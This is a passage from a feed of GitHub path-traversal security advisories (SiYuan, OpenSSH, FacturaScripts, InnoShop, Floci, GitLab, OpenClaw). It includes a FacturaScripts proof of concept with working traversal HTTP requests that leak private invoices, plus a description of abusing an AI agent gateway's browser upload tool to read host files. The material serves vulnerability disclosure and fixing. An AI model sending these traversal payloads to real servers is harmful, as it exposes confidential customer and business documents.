Solution\n\nhttps://github.com/siyuan-note/siyuan/issues/16860",
"id": "GHSA-cv54-7wv7-qxcw",
"modified": "2026-01-21T01:02:00Z",
"published": "2026-01-21T01:02:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-cv54-7wv7-qxcw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23850"
},
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/issues/16860"
},
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/commit/b2274baba2e11c8cf8901b0c5c871e5b27f1f6dd"
},
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/commit/f8f4b517077b92c90c0d7b51ac11be1b34b273ad"
},
{
"type": "PACKAGE",
"url": "https://github.com/siyuan-note/siyuan"
},
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/blob/master/kernel/model/file.go#L1035"
},
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/blob/v3.4.2/kernel/api/filetree.go#L799-L886"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "SiYuan vulnerable to Arbitrary file Read / SSRF"
}
GHSA-CV5V-CQ2Q-VV46
Vulnerability from github – Published: 2026-10-15 06:30 – Updated: 2026-10-15 21:35A flaw was found in OpenSSH. During an sftp copy, a malicious server can supply an empty name, a slash-only path, or a ".." basename that sftp uses as the local destination, writing outside the directory the user selected.
{
"affected": [],
"aliases": [
"CVE-2026-110923"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-15T06:17:01Z",
"severity": "MODERATE"
},
"details": "A flaw was found in OpenSSH. During an sftp copy, a malicious server can supply an empty name, a slash-only path, or a \"..\" basename that sftp uses as the local destination, writing outside the directory the user selected.",
"id": "GHSA-cv5v-cq2q-vv46",
"modified": "2026-10-15T21:35:56Z",
"published": "2026-10-15T06:30:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-110923"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:82247"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-110923"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2553028"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-CV65-7CG8-R623
Vulnerability from github – Published: 2026-07-14 17:12 – Updated: 2026-07-14 17:12Summary
The static file controllers in FacturaScripts decide whether a request is authorized by looking at the URL string instead of the canonical filesystem path. A request that starts with an allow-listed folder name but contains a ../ segment in the middle ends up serving a file from a different directory than the one the URL pretended to point at. This makes any file inside the FacturaScripts installation readable without authentication as long as the file's extension is on the controllers' allow-list (pdf, xlsx, docx, csv, sql, zip, xml, json, xsig, etc.). In practice this leaks the documents the application is specifically designed to protect: customer invoices, supplier invoices, document attachments and database backups stored under MyFiles/Private/ and other non-public subfolders.
The two vulnerable controllers are Core/Controller/Files.php (used by the /Plugins/*, /Core/Assets/*, /Dinamic/Assets/* and /node_modules/* routes) and Core/Controller/Myfiles.php (used by /MyFiles/*). Both share the same root cause: a strpos() / substr() prefix check on the raw URL is treated as proof that the resolved file lives inside an authorized directory.
The /Plugins/* route via Files.php is the cleanest exploit path because Plugins/ is part of every FacturaScripts installation, so no precondition is required. The /MyFiles/* route via Myfiles.php is a second path with the same root cause: when the URL starts with /MyFiles/Public/, the controller exits early and skips the per-file myft token check, which can be combined with ../ to read tokenless files outside Public/.
Tested live on commit de01369 (master, 2026-05-11) and on tag v2026.2, with PHP 8.0.30 on Apache 2.4.56.
Details
Path 1, in Core/Controller/Files.php
Files::__construct concatenates the project folder with the request URL and then runs two safety checks before serving the file:
$this->filePath = Tools::folder() . $url;
if (false === is_file($this->filePath)) {
throw new KernelException('FileNotFound', ...);
}
if (false === $this->isFolderSafe($url)) {
throw new KernelException('UnsafeFolder', $url);
}
if (false === $this->isFileSafe($this->filePath)) {
throw new KernelException('UnsafeFile', $url);
}
isFolderSafe() only inspects the URL string:
public static function isFolderSafe(string $filePath): bool
{
$safeFolders = ['node_modules', 'vendor', 'Dinamic', 'Core', 'Plugins', 'MyFiles/Public'];
foreach ($safeFolders as $folder) {
if ('/' . $folder === substr($filePath, 0, 1 + strlen($folder))) {
return true;
}
}
return false;
}
For a request like /Plugins/../MyFiles/Private/invoice-2026-001.pdf, substr($url, 0, 8) equals /Plugins, so isFolderSafe() returns true. The filesystem layer then resolves the .. segment when is_file() runs, so the actual file opened is /MyFiles/Private/invoice-2026-001.pdf. isFileSafe() only checks the trailing extension, which is pdf and on the allow-list, so the file is served.
Path 2, in Core/Controller/Myfiles.php
The dedicated MyFiles handler resolves the path with urldecode() and reproduces the same prefix-based logic to decide whether the per-file myft token is required:
$this->filePath = Tools::folder() . urldecode($url);
if (false === is_file($this->filePath)) {
throw new KernelException('FileNotFound', ...);
}
if (false === $this->isFileSafe($this->filePath)) {
throw new KernelException('UnsafeFile', $url);
}
// if the folder is MyFiles/Public, then we don't need to check the token
if (strpos($url, '/MyFiles/Public/') === 0) {
return;
}
$fixedFilePath = substr(urldecode($url), 1);
$token = filter_input(INPUT_GET, 'myft');
if (empty($token) || false === MyFilesToken::validate($fixedFilePath, $token)) {
throw new KernelException('MyfilesTokenError', $fixedFilePath);
}
A request to /MyFiles/Public/../Private/invoice-2026-001.pdf satisfies strpos($url, '/MyFiles/Public/') === 0, so the controller returns early and skips myft token validation. The .. segment is then resolved by is_file() and readfile() against the real filesystem path inside MyFiles/Private/.
This second path is only exploitable when a MyFiles/Public/ directory exists on disk, which is the case in any installation that has ever published a public asset (company logo, theme file, plugin static resource).
Why this is not the documented "Public folder" behaviour
MyFiles/Public/ is intentionally tokenless for assets that live inside it, and that part is by design. The behaviour shown here is different: the URL appears to point at MyFiles/Public/... but the file ultimately returned lives in MyFiles/Private/. The same file (MyFiles/Private/invoice-2026-001.pdf) is returned with HTTP 403 (Invalid token) when requested directly, and HTTP 200 with the file body when requested through the traversal sequence. The access decision is not consistent with the actual file location, which is the textbook definition of a path traversal flaw.
PoC
The PoC uses one sample invoice planted at MyFiles/Private/invoice-2026-001-ACME.pdf (215 bytes) on a fresh install:
%PDF-FAKE-CONTENT for FacturaScripts PoC
INVOICE: 2026-001
CLIENT: ACME Corporation
TAX ID: B-12345678
AMOUNT: EUR 42,000.00
DUE DATE: 2026-06-15
PAID: 2026-05-09
INTERNAL NOTE: confidential customer financial data
Step 1, control. Direct access without a token is blocked:
GET /MyFiles/Private/invoice-2026-001-ACME.pdf HTTP/1.1
Host: 127.0.0.1:8088
HTTP/1.1 403 Forbidden
<title>Invalid token.</title>
<p>The access token for the file MyFiles/Private/invoice-2026-001-ACME.pdf is invalid or has expired</p>
Step 2, exploit via /Plugins/*. This is the no-precondition path:
GET /Plugins/../MyFiles/Private/invoice-2026-001-ACME.pdf HTTP/1.1
Host: 127.0.0.1:8088
HTTP/1.1 200 OK
Content-Length: 215
Content-Type: application/pdf
%PDF-FAKE-CONTENT for FacturaScripts PoC
INVOICE: 2026-001
CLIENT: ACME Corporation
TAX ID: B-12345678
AMOUNT: EUR 42,000.00
DUE DATE: 2026-06-15
PAID: 2026-05-09
INTERNAL NOTE: confidential customer financial data
The same file that returned 403 in Step 1 is now returned without authentication. /Core/Assets/* and /Dinamic/Assets/* behave the same way against the same controller; /Plugins/* is used here because the folder is guaranteed to exist.
Step 3, exploit via /MyFiles/Public/*. This path also bypasses the myft token check:
GET /MyFiles/Public/../Private/invoice-2026-001-ACME.pdf HTTP/1.1
Host: 127.0.0.1:8088
HTTP/1.1 200 OK
Cache-Control: public, max-age=31536000, immutable
Content-Length: 215
Content-Type: application/pdf
%PDF-FAKE-CONTENT for FacturaScripts PoC
...
A quick check shows that several encoding variants of .. also work: %2e%2e, %2E%2E, .%2e, ///../. The flaw lives in the prefix check, not in any specific Apache normalization.
The file is confirmed present on disk:
Affected request paths
| URL pattern | Controller | Token required | Result |
|---|---|---|---|
/MyFiles/Private/invoice.pdf |
Myfiles | yes | 403 (control) |
/Plugins/../MyFiles/Private/invoice.pdf |
Files | n/a | 200 (leak) |
/Core/Assets/../MyFiles/Private/invoice.pdf |
Files | n/a | 200 (leak) |
/Dinamic/Assets/../MyFiles/Private/invoice.pdf |
Files | n/a | 200 (leak) |
/MyFiles/Public/../Private/invoice.pdf |
Myfiles | bypassed | 200 (leak) |
Impact
In a real ERP deployment this exposes the documents that the application is specifically designed to keep behind a per-file token:
- Customer and supplier invoices stored under
MyFiles/Private/ - Document attachments uploaded through
WidgetFileandDocFilesTrait(MyFiles/<filename>) - Database backups exported with
.sql - Cached or temporary business data under
MyFiles/Cache/andMyFiles/Tmp/
.php files are not on the extension allow-list, so the flaw does not lead to remote code execution. Files outside the FacturaScripts installation are rejected by Apache's URI normalization (AH10244 invalid URI path), so the leak is bounded to the application directory tree.
Suggested Fix
Both controllers should resolve the requested path to its canonical form with realpath() and verify that the canonical path is inside an allow-listed directory before serving the file or skipping the token
check. Example for Files::__construct:
$this->filePath = Tools::folder() . $url;
if (false === is_file($this->filePath)) {
throw new KernelException('FileNotFound', ...);
}
$realPath = realpath($this->filePath);
$base = realpath(Tools::folder());
if ($realPath === false || strpos($realPath, $base . DIRECTORY_SEPARATOR) !== 0) {
throw new KernelException('UnsafeFolder', $url);
}
$safeFolders = ['node_modules', 'vendor', 'Dinamic', 'Core', 'Plugins', 'MyFiles' . DIRECTORY_SEPARATOR . 'Public'];
$relative = substr($realPath, strlen($base) + 1);
$allowed = false;
foreach ($safeFolders as $folder) {
if (strpos($relative, $folder . DIRECTORY_SEPARATOR) === 0) {
$allowed = true;
break;
}
}
if (!$allowed) {
throw new KernelException('UnsafeFolder', $url);
}
The same pattern applies to Myfiles::__construct: compare the canonical resolved path against realpath(Tools::folder() . '/MyFiles/Public') before skipping the myft token check.
Affected Versions
Confirmed on the current master branch (commit de01369) and on the latest tagged release (v2026.2).
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "facturascripts/facturascripts"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2026.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45693"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-14T17:12:56Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nThe static file controllers in FacturaScripts decide whether a request is authorized by looking at the URL string instead of the canonical filesystem path. A request that starts with an allow-listed folder name but contains a `../` segment in the middle ends up serving a file from a different directory than the one the URL pretended to point at. This makes any file inside the FacturaScripts installation readable without authentication as long as the file\u0027s extension is on the controllers\u0027 allow-list (`pdf`, `xlsx`, `docx`, `csv`, `sql`, `zip`, `xml`, `json`, `xsig`, etc.). In practice this leaks the documents the application is specifically designed to protect: customer invoices, supplier invoices, document attachments and database backups stored under `MyFiles/Private/` and other non-public subfolders.\n\nThe two vulnerable controllers are `Core/Controller/Files.php` (used by the `/Plugins/*`, `/Core/Assets/*`, `/Dinamic/Assets/*` and `/node_modules/*` routes) and `Core/Controller/Myfiles.php` (used by `/MyFiles/*`). Both share the same root cause: a `strpos()` / `substr()` prefix check on the raw URL is treated as proof that the resolved file lives inside an authorized directory.\n\nThe `/Plugins/*` route via `Files.php` is the cleanest exploit path because `Plugins/` is part of every FacturaScripts installation, so no precondition is required. The `/MyFiles/*` route via `Myfiles.php` is a second path with the same root cause: when the URL starts with `/MyFiles/Public/`, the controller exits early and skips the per-file `myft` token check, which can be combined with `../` to read tokenless files outside `Public/`.\n\nTested live on commit `de01369` (master, 2026-05-11) and on tag `v2026.2`, with PHP 8.0.30 on Apache 2.4.56.\n\n### Details\n\n#### Path 1, in `Core/Controller/Files.php`\n\n`Files::__construct` concatenates the project folder with the request URL and then runs two safety checks before serving the file:\n\n```php\n$this-\u003efilePath = Tools::folder() . $url;\n\nif (false === is_file($this-\u003efilePath)) {\n throw new KernelException(\u0027FileNotFound\u0027, ...);\n}\n\nif (false === $this-\u003eisFolderSafe($url)) {\n throw new KernelException(\u0027UnsafeFolder\u0027, $url);\n}\n\nif (false === $this-\u003eisFileSafe($this-\u003efilePath)) {\n throw new KernelException(\u0027UnsafeFile\u0027, $url);\n}\n```\n\n`isFolderSafe()` only inspects the URL string:\n\n```php\npublic static function isFolderSafe(string $filePath): bool\n{\n $safeFolders = [\u0027node_modules\u0027, \u0027vendor\u0027, \u0027Dinamic\u0027, \u0027Core\u0027, \u0027Plugins\u0027, \u0027MyFiles/Public\u0027];\n foreach ($safeFolders as $folder) {\n if (\u0027/\u0027 . $folder === substr($filePath, 0, 1 + strlen($folder))) {\n return true;\n }\n }\n return false;\n}\n```\n\nFor a request like `/Plugins/../MyFiles/Private/invoice-2026-001.pdf`, `substr($url, 0, 8)` equals `/Plugins`, so `isFolderSafe()` returns `true`. The filesystem layer then resolves the `..` segment when `is_file()` runs, so the actual file opened is `/MyFiles/Private/invoice-2026-001.pdf`. `isFileSafe()` only checks the trailing extension, which is `pdf` and on the allow-list, so the file is served.\n\n#### Path 2, in `Core/Controller/Myfiles.php`\n\nThe dedicated MyFiles handler resolves the path with `urldecode()` and reproduces the same prefix-based logic to decide whether the per-file `myft` token is required:\n\n```php\n$this-\u003efilePath = Tools::folder() . urldecode($url);\n\nif (false === is_file($this-\u003efilePath)) {\n throw new KernelException(\u0027FileNotFound\u0027, ...);\n}\nif (false === $this-\u003eisFileSafe($this-\u003efilePath)) {\n throw new KernelException(\u0027UnsafeFile\u0027, $url);\n}\n\n// if the folder is MyFiles/Public, then we don\u0027t need to check the token\nif (strpos($url, \u0027/MyFiles/Public/\u0027) === 0) {\n return;\n}\n\n$fixedFilePath = substr(urldecode($url), 1);\n$token = filter_input(INPUT_GET, \u0027myft\u0027);\nif (empty($token) || false === MyFilesToken::validate($fixedFilePath, $token)) {\n throw new KernelException(\u0027MyfilesTokenError\u0027, $fixedFilePath);\n}\n```\n\nA request to `/MyFiles/Public/../Private/invoice-2026-001.pdf` satisfies `strpos($url, \u0027/MyFiles/Public/\u0027) === 0`, so the controller returns early and skips `myft` token validation. The `..` segment is then resolved by `is_file()` and `readfile()` against the real filesystem path inside `MyFiles/Private/`.\n\nThis second path is only exploitable when a `MyFiles/Public/` directory exists on disk, which is the case in any installation that has ever published a public asset (company logo, theme file, plugin static resource).\n\n#### Why this is not the documented \"Public folder\" behaviour\n\n`MyFiles/Public/` is intentionally tokenless for assets that live inside it, and that part is by design. The behaviour shown here is different: the URL appears to point at `MyFiles/Public/...` but the file ultimately returned lives in `MyFiles/Private/`. The same file (`MyFiles/Private/invoice-2026-001.pdf`) is returned with HTTP 403 (`Invalid token`) when requested directly, and HTTP 200 with the file body when requested through the traversal sequence. The access decision is not consistent with the actual file location, which is the textbook definition of a path traversal flaw.\n\n### PoC\n\nThe PoC uses one sample invoice planted at `MyFiles/Private/invoice-2026-001-ACME.pdf` (215 bytes) on a fresh install:\n\n```\n%PDF-FAKE-CONTENT for FacturaScripts PoC\nINVOICE: 2026-001\nCLIENT: ACME Corporation\nTAX ID: B-12345678\nAMOUNT: EUR 42,000.00\nDUE DATE: 2026-06-15\nPAID: 2026-05-09\nINTERNAL NOTE: confidential customer financial data\n```\n\n**Step 1, control.** Direct access without a token is blocked:\n\n```http\nGET /MyFiles/Private/invoice-2026-001-ACME.pdf HTTP/1.1\nHost: 127.0.0.1:8088\n```\n\n```\nHTTP/1.1 403 Forbidden\n\u003ctitle\u003eInvalid token.\u003c/title\u003e\n\u003cp\u003eThe access token for the file MyFiles/Private/invoice-2026-001-ACME.pdf is invalid or has expired\u003c/p\u003e\n```\n\n\u003cimg width=\"1584\" height=\"788\" alt=\"01-control-direct-private-file-blocked\" src=\"https://github.com/user-attachments/assets/37d55f79-55ab-4f69-a9e0-827fc39c0b33\" /\u003e\n\n\n\n\n**Step 2, exploit via `/Plugins/*`.** This is the no-precondition path:\n\n```http\nGET /Plugins/../MyFiles/Private/invoice-2026-001-ACME.pdf HTTP/1.1\nHost: 127.0.0.1:8088\n```\n\n```\nHTTP/1.1 200 OK\nContent-Length: 215\nContent-Type: application/pdf\n\n%PDF-FAKE-CONTENT for FacturaScripts PoC\nINVOICE: 2026-001\nCLIENT: ACME Corporation\nTAX ID: B-12345678\nAMOUNT: EUR 42,000.00\nDUE DATE: 2026-06-15\nPAID: 2026-05-09\nINTERNAL NOTE: confidential customer financial data\n```\n\n\u003cimg width=\"1585\" height=\"791\" alt=\"02-exploit-path1-plugins-leak\" src=\"https://github.com/user-attachments/assets/bccab788-a369-49bf-84dd-8f2f74addecf\" /\u003e\n\nThe same file that returned 403 in Step 1 is now returned without authentication. `/Core/Assets/*` and `/Dinamic/Assets/*` behave the same way against the same controller; `/Plugins/*` is used here because the folder is guaranteed to exist.\n\n**Step 3, exploit via `/MyFiles/Public/*`.** This path also bypasses the `myft` token check:\n\n```http\nGET /MyFiles/Public/../Private/invoice-2026-001-ACME.pdf HTTP/1.1\nHost: 127.0.0.1:8088\n```\n\n```\nHTTP/1.1 200 OK\nCache-Control: public, max-age=31536000, immutable\nContent-Length: 215\nContent-Type: application/pdf\n\n%PDF-FAKE-CONTENT for FacturaScripts PoC\n...\n```\n\n\u003cimg width=\"1582\" height=\"789\" alt=\"03-exploit-path2-myfiles-public-token-bypass\" src=\"https://github.com/user-attachments/assets/2f95d0c1-4545-453c-a613-5ed035af7957\" /\u003e\n\n\nA quick check shows that several encoding variants of `..` also work: `%2e%2e`, `%2E%2E`, `.%2e`, `///../`. The flaw lives in the prefix check, not in any specific Apache normalization.\n\nThe file is confirmed present on disk:\n\n\n\u003cimg width=\"1918\" height=\"328\" alt=\"04-lab-evidence-file-on-disk\" src=\"https://github.com/user-attachments/assets/2db5875a-d349-4861-bbdd-8f202eb80d5a\" /\u003e\n\n\n#### Affected request paths\n\n| URL pattern | Controller | Token required | Result |\n|---|---|---|---|\n| `/MyFiles/Private/invoice.pdf` | Myfiles | yes | 403 (control) |\n| `/Plugins/../MyFiles/Private/invoice.pdf` | Files | n/a | 200 (leak) |\n| `/Core/Assets/../MyFiles/Private/invoice.pdf` | Files | n/a | 200 (leak) |\n| `/Dinamic/Assets/../MyFiles/Private/invoice.pdf` | Files | n/a | 200 (leak) |\n| `/MyFiles/Public/../Private/invoice.pdf` | Myfiles | bypassed | 200 (leak) |\n\n### Impact\n\nIn a real ERP deployment this exposes the documents that the application is specifically designed to keep behind a per-file token:\n\n- Customer and supplier invoices stored under `MyFiles/Private/`\n- Document attachments uploaded through `WidgetFile` and `DocFilesTrait` (`MyFiles/\u003cfilename\u003e`)\n- Database backups exported with `.sql`\n- Cached or temporary business data under `MyFiles/Cache/` and `MyFiles/Tmp/`\n\n`.php` files are not on the extension allow-list, so the flaw does not lead to remote code execution. Files outside the FacturaScripts installation are rejected by Apache\u0027s URI normalization (`AH10244 invalid URI path`), so the leak is bounded to the application directory tree.\n\n### Suggested Fix\n\nBoth controllers should resolve the requested path to its canonical form with `realpath()` and verify that the canonical path is inside an allow-listed directory before serving the file or skipping the token\n check. Example for `Files::__construct`:\n\n```php\n$this-\u003efilePath = Tools::folder() . $url;\n\nif (false === is_file($this-\u003efilePath)) {\n throw new KernelException(\u0027FileNotFound\u0027, ...);\n}\n\n$realPath = realpath($this-\u003efilePath);\n$base = realpath(Tools::folder());\nif ($realPath === false || strpos($realPath, $base . DIRECTORY_SEPARATOR) !== 0) {\n throw new KernelException(\u0027UnsafeFolder\u0027, $url);\n}\n\n$safeFolders = [\u0027node_modules\u0027, \u0027vendor\u0027, \u0027Dinamic\u0027, \u0027Core\u0027, \u0027Plugins\u0027, \u0027MyFiles\u0027 . DIRECTORY_SEPARATOR . \u0027Public\u0027];\n$relative = substr($realPath, strlen($base) + 1);\n$allowed = false;\nforeach ($safeFolders as $folder) {\n if (strpos($relative, $folder . DIRECTORY_SEPARATOR) === 0) {\n $allowed = true;\n break;\n }\n}\nif (!$allowed) {\n throw new KernelException(\u0027UnsafeFolder\u0027, $url);\n}\n```\n\nThe same pattern applies to `Myfiles::__construct`: compare the canonical resolved path against `realpath(Tools::folder() . \u0027/MyFiles/Public\u0027)` before skipping the `myft` token check.\n\n### Affected Versions\n\nConfirmed on the current `master` branch (commit `de01369`) and on the latest tagged release (`v2026.2`).",
"id": "GHSA-cv65-7cg8-r623",
"modified": "2026-07-14T17:12:56Z",
"published": "2026-07-14T17:12:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-cv65-7cg8-r623"
},
{
"type": "PACKAGE",
"url": "https://github.com/NeoRazorX/facturascripts"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "FacturaScripts: Unauthenticated Path Traversal in Static File Controllers Reads Private MyFiles Documents"
}
GHSA-CV67-CX47-FP3G
Vulnerability from github – Published: 2026-08-05 21:31 – Updated: 2026-08-05 21:31A flaw has been found in yushine InnoShop up to 0.8.2. Affected by this issue is the function FileManagerController::destroyFiles of the file innopacks/restapi/routes/panel-api.php of the component Files Endpoint. This manipulation causes path traversal. The attack may be initiated remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2026-18959"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-05T21:16:58Z",
"severity": "LOW"
},
"details": "A flaw has been found in yushine InnoShop up to 0.8.2. Affected by this issue is the function FileManagerController::destroyFiles of the file innopacks/restapi/routes/panel-api.php of the component Files Endpoint. This manipulation causes path traversal. The attack may be initiated remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-cv67-cx47-fp3g",
"modified": "2026-08-05T21:31:39Z",
"published": "2026-08-05T21:31:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-18959"
},
{
"type": "WEB",
"url": "https://github.com/ofirbarum923-dot/small-web-vuln/issues/1"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-18959"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/860109"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/386234"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/386234/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-CV6G-FVJC-QJXV
Vulnerability from github – Published: 2026-11-09 03:32 – Updated: 2026-11-09 03:32A vulnerability was identified in floci-io Floci up to 2.1.0. The affected element is the function S3Destination.bucketName of the file services/firehose/model/DeliveryStreamDescription.java of the component S3 Destination Configuration Handler. Such manipulation of the argument BucketARN leads to path traversal. The attack can be launched remotely. The exploit is publicly available and might be used. Upgrading to version 2.2.0 is sufficient to fix this issue. The name of the patch is b986b95074ef524019be7af51e1df172e48faa4b. You should upgrade the affected component.
{
"affected": [],
"aliases": [
"CVE-2026-124509"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-11-09T02:16:59Z",
"severity": "MODERATE"
},
"details": "A vulnerability was identified in floci-io Floci up to 2.1.0. The affected element is the function S3Destination.bucketName of the file services/firehose/model/DeliveryStreamDescription.java of the component S3 Destination Configuration Handler. Such manipulation of the argument BucketARN leads to path traversal. The attack can be launched remotely. The exploit is publicly available and might be used. Upgrading to version 2.2.0 is sufficient to fix this issue. The name of the patch is b986b95074ef524019be7af51e1df172e48faa4b. You should upgrade the affected component.",
"id": "GHSA-cv6g-fvjc-qjxv",
"modified": "2026-11-09T03:32:08Z",
"published": "2026-11-09T03:32:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-124509"
},
{
"type": "WEB",
"url": "https://github.com/floci-io/floci/issues/4281"
},
{
"type": "WEB",
"url": "https://github.com/floci-io/floci/pull/4289"
},
{
"type": "WEB",
"url": "https://github.com/floci-io/floci/commit/b986b95074ef524019be7af51e1df172e48faa4b"
},
{
"type": "WEB",
"url": "https://github.com/floci-io/floci"
},
{
"type": "WEB",
"url": "https://github.com/floci-io/floci/releases/tag/2.2.0"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-124509"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/1035485"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/432813"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/432813/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-CV6R-JFW8-2RMQ
Vulnerability from github – Published: 2022-05-13 01:38 – Updated: 2022-05-13 01:38Gitlab Community Edition version 10.3 is vulnerable to a path traversal issue in the GitLab CI runner component resulting in remote code execution.
{
"affected": [],
"aliases": [
"CVE-2017-0918"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-03-21T20:29:00Z",
"severity": "HIGH"
},
"details": "Gitlab Community Edition version 10.3 is vulnerable to a path traversal issue in the GitLab CI runner component resulting in remote code execution.",
"id": "GHSA-cv6r-jfw8-2rmq",
"modified": "2022-05-13T01:38:24Z",
"published": "2022-05-13T01:38:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-0918"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/301432"
},
{
"type": "WEB",
"url": "https://about.gitlab.com/2018/01/16/gitlab-10-dot-3-dot-4-released"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2018/dsa-4145"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CV7M-C9JX-VG7Q
Vulnerability from github – Published: 2026-02-18 00:46 – Updated: 2026-02-20 16:45Summary
Authenticated attackers can read arbitrary files from the Gateway host by supplying absolute paths or path traversal sequences to the browser tool's upload action. The server passed these paths to Playwright's setInputFiles() APIs without restricting them to a safe root.
Severity remains High due to the impact (arbitrary local file read on the Gateway host), even though exploitation requires authenticated access.
Exploitability / Preconditions
This is not a "drive-by" issue.
An attacker must:
- Reach the Gateway HTTP surface (or otherwise invoke the same browser control hook endpoints).
- Present valid Gateway auth (bearer token / password), as required by the Gateway configuration.
- In common default setups, the Gateway binds to loopback and the onboarding wizard generates a gateway token even for loopback.
- Have the
browsertool permitted by tool policy for the target session/context (and have browser support enabled).
If an operator exposes the Gateway beyond loopback (LAN/tailnet/custom bind, reverse proxy, tunnels, etc.), the impact increases accordingly.
Affected Packages / Versions
- Package:
openclaw(npm) - Vulnerable:
< 2026.2.14(includes latest published2026.2.13) - Patched:
>= 2026.2.14(planned next release)
Details
Entry points:
POST /tools/invokewith{"tool":"browser","action":"upload",...}POST /hooks/file-chooser(browser control hook)
When the upload paths are not validated, Playwright reads the referenced files from the local filesystem and attaches them to a page-level <input type="file">. Contents can then be exfiltrated by page JavaScript (e.g. via FileReader) or via agent/browser snapshots.
Impact: arbitrary local file read on the Gateway host (confidentiality impact).
Fix
Upload paths are now confined to OpenClaw's temp uploads root (DEFAULT_UPLOAD_DIR) and traversal/escape paths are rejected.
This fix was implemented internally; the reporter provided a clear reproduction and impact analysis.
Fix commit(s):
- 3aa94afcfd12104c683c9cad81faf434d0dadf87
Thanks @p80n-sec for reporting.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.2.14"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-26329"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-18T00:46:49Z",
"nvd_published_at": "2026-02-20T00:16:15Z",
"severity": "HIGH"
},
